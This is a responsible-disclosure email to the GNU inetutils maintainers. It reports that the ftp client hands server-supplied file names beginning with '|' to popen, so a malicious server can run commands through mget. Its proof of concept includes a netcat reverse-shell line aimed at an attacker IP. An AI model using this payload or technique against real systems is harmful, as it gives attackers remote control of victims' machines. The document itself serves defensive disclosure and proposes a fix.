Hi Team,
I was looking at the code for ftp client from GNU inetutils and noticed
that ftp client is vulnerable to remote code execution when receiving files
from a malicious FTP server.
Version: inetutils-v2.8-src.tar.gz (all versions seem to be vulnerable)
Details:
The FTP client allows the user to specify a local file name when fetching
files from a remote FTP server using get or mget commands. If the local
file name starts with a pipe character (|), the code passes this local file
name directly to a popen call leading to code execution. The vulnerability
arises from the fact that when a local file name is not specified, the
value of the "local" variable is set to a remote file name (controlled by
the attacker) and still executed if the name starts with a pipe character.
The function "recvrequest" in ftp/ftp.c has following code on line 993
else if (*local == '|')
{
oldintp = signal(SIGPIPE, SIG_IGN);
fout = popen(local + 1, "w");
When a victim naively runs "mget ." to get all contents of directory from a
malicious FTP server, the attacker can run arbitrary commands on victims
machine by creating files that start with a pipe character followed by a
malicious payload.
This code seems to be present since the initial commit in 1995.
Proof of concept:
On attacker's FTP server, create a files such as
touch '|touch hackedbyftp'
touch '|nc 192.168.56.101 4444 -c sh'
Victim connects to this FTP server and naively runs
mget .
You will notice that an arbitrary file hackedbyftp is created and if there
is a listener at 192.168.56.101:4444, a reverse shell will be created
granting full access to the victims machine.
By default prompt is on which asks the user to confirm receiving of each
file but if prompt is off, there is no confirmation required.
Solution:
Popen should only be called if the local filename is specified by the user.
Code should never trust remote file names and should never call popen on
untrusted input.
Regards,
Rajesh Pangare